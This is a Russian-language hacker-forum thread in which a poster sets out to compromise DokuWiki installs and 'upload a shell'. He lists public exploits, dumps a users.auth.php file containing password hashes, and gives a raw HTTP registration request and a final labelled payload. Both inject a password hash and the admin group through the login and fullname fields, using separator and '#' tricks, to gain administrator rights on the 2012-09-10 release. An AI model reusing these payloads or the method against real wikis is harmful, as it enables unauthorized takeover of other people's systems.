Интересный движок с которым сейчас пытаюсь как то разобраться. Если кто то сталкивался подскажите как его приласкать что бы он поддался Моя задача залить шелл или как то скомпромитировать систему вот немного искомой инфы: с сайта: https://www.exploit-db.com/ DokuWiki 2006-03-09b - 'dwpage.php' Remote Code Execution DokuWiki 2006-03-09b - 'dwpage.php' System Disclosure Dokuwiki 2009-02-14 - Local File Inclusion Dokuwiki 2009-12-25 - Multiple Vulnerabilities Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion и немножко вот тут: https://www.cvedetails.com/vulnerability-list/vendor_id-9794/Dokuwiki.html Вот одна из фич которые я пытался вкурить, но я видимо что то не то курю что автор этой статьи https://github.com/splitbrain/dokuwiki/issues/2029 p.s может есть кто на одной волне с данным парнишей ?
в общем еще идея есть повышение прав через редактирование своего профиля. регистрируем аккаунт. переходим в мой профиль. ---------------------------- Логин [tester] Полное имя [вот тут тестить] Эл. адрес [мыльцо@муйл.ру] ---------------------------- Пользователи сохраняются в файл: users.auth.php Spoiler: users.auth.php PHP: # users.auth.php# <?php exit()?># Don't modify the lines above## Userfile## Format:## login:passwordhash:Real Name:email:groups,comma,seperatedtzwtf:$1$JikdmqPD$z4eF2afPNoDcehT7xyeGd1:Sanya:[email protected]:admin,userhui_r_n:$1$dQ8LHk6m$8IWlBUSZui49eujJSh8dt.:\r\n:[email protected]:userhui1_r_n:$1$kTqC7Mpq$s3ttMw/BDJGSRgytHUdvW0:123:[email protected]:usertester:$1$iNHra1Rq$CwCdDlmb9J2QSLTtWIOnZ.:fullname:[email protected]:com:user Spoiler: Обновление профиля (редактирование) PHP: /** * Обновление профиля (редактирование) * Print the update profile form * * @author Christopher Smith <[email protected]> * @author Andreas Gohr <[email protected]> */function html_updateprofile(){ global $lang; global $conf; global $INPUT; global $INFO; /** @var auth_basic $auth */ global $auth; print p_locale_xhtml('updateprofile'); $fullname = $INPUT->post->str('fullname', $INFO['userinfo']['name'], true); $email = $INPUT->post->str('email', $INFO['userinfo']['mail'], true); print '<div class="centeralign">'.NL; $form = new Doku_Form(array('id' => 'dw__register')); $form->startFieldset($lang['profile']); $form->addHidden('do', 'profile'); $form->addHidden('save', '1'); $form->addElement(form_makeTextField('login', $_SERVER['REMOTE_USER'], $lang['user'], '', 'block', array('size'=>'50', 'disabled'=>'disabled'))); $attr = array('size'=>'50'); if (!$auth->canDo('modName')) $attr['disabled'] = 'disabled'; $form->addElement(form_makeTextField('fullname', $fullname, $lang['fullname'], '', 'block', $attr)); $attr = array('size'=>'50'); if (!$auth->canDo('modMail')) $attr['disabled'] = 'disabled'; $form->addElement(form_makeTextField('email', $email, $lang['email'], '', 'block', $attr)); $form->addElement(form_makeTag('br')); if ($auth->canDo('modPass')) { $form->addElement(form_makePasswordField('newpass', $lang['newpass'], '', 'block', array('size'=>'50'))); $form->addElement(form_makePasswordField('passchk', $lang['passchk'], '', 'block', array('size'=>'50'))); } if ($conf['profileconfirm']) { $form->addElement(form_makeTag('br')); $form->addElement(form_makePasswordField('oldpass', $lang['oldpass'], '', 'block', array('size'=>'50'))); } $form->addElement(form_makeButton('submit', '', $lang['btn_save'])); $form->addElement(form_makeButton('reset', '', $lang['btn_reset'])); $form->endFieldset(); html_form('updateprofile', $form); print '</div>'.NL;} идея сделать вот так, только от пользователя:
Потестировать всю это херь можно на моем хосте Spoiler: link http://tzwtf.ru/dokuwiki/doku.php логин: tester пароль: 123
Баг авторизации выход из деректории: версия dokuwiki 2012-09-10 "Adora Belle RC1" authtype plain Регистрация Логин:[test../a] Полное мия:[[email protected]] Эл. адрес:[a@a] Результат в файле users.auth.php Code: # Format: # # login:passwordhash:Real Name:email:groups,comma,seperated test:a:$1$9xrqaX5M$EYTB88lDR83zcl9nsxIMk0:[email protected]:a@a:user то-есть мы добавили новую строку a Поле a@a перенеслось в поле где прописаны админ группы так же бага позволяет создавать одинаковых пользователей. Уязвимость я не раскручивал дальше, но вполне реально зарегать себе админ юзера. Кто хочет потестить вот вам мой сайт http://tzwtf.ru/dokuwiki/doku.php?id=start login:tester pass:123
так же было обнаружена фича при редактировании профиля. authtype plain если в поле [полное имя] в начале строки вписать символ диеза он же хештег # Все последующие значения обнуляются полное имя, емейл и группа пользователя так же этот символ проходит в поле эмейл и так же работает. с помощью таких багов не исключена возможность повысить свои привилегии. Если будет результат я опубликую его здесь
Все хочу забайпасить авторизацию на dokuwiki И так опять фича с регистрацией! POST /dokuwiki/doku.php?id=start&do=register HTTP/1.1 sectok=94c7d3ba9119dc710b222532a91b2951&do=register&save=1&login=tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin&fullname=test&email=a%40a tat = это логин fullname - это полное имя. mail - почта. admin - Это те самые заветные права которые дадут нам доступ к админке. 21232f297a57a5a743894a0e4a801fc3 = PasswordHash (admin) (который понимает декодер dokuwiki , он без спец символов типа $./ , ведь стандартный генератор паролей выдает типа таких хешей: $1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1 , и если прописать это в строку логина фильтр уберет символы ) и так если в поле логин вписать: tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin то в файле паролей мы получим следующее: tat:21232f297a57a5a743894a0e4a801fc3:fullname:mail:admin:$1$jqx36cSS$vP98kfpUXAQLfXBDn6OSZ/:test:a@a:user а должно быть так: tzwtf:$1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1:Sanya:[email protected]:admin,user Мы видим что права к группам идут через запятую , или с пробелом. а в нашем случае двоеточии: .........name:mail:admin:$1$jqx36c....... Если в ручную поставить пробел в файле то админка появляется, то-есть задача или поставить запятую или пробел, оба символа в поле логин фильтруются, хотя в поле fullname возможно поставить пробел
Так же эта фича позволяет создавать пользователей с одинаковыми никами. Можно создать пользователя с ником admin, но прав не будет. Но если отредактировать профиль , все дубликаты удаляются и остается один , таким методом могут поднасолить админам сообществ.
Code: Это результат отправки вот такого запроса на регистрацию! Code: Поля fullmae , email пропускают # диезу , а она как мы знаем комментирует все после себя в файле паролей. Тем самым стирает значения.
Privilege Escalation ------ payload dokuwiki ----- в поле регистрации вводим: login: ggwp/21232f297a57a5a743894a0e4a801fc3/asdasd fullname: admin#admin mail: aaa@aaa после регистрации вводим Логин: ggwp пароль: admin и получаем админ пользователя. ----------------------------- версия: 2012-09-10 "Adora Belle RC1" -----------------------------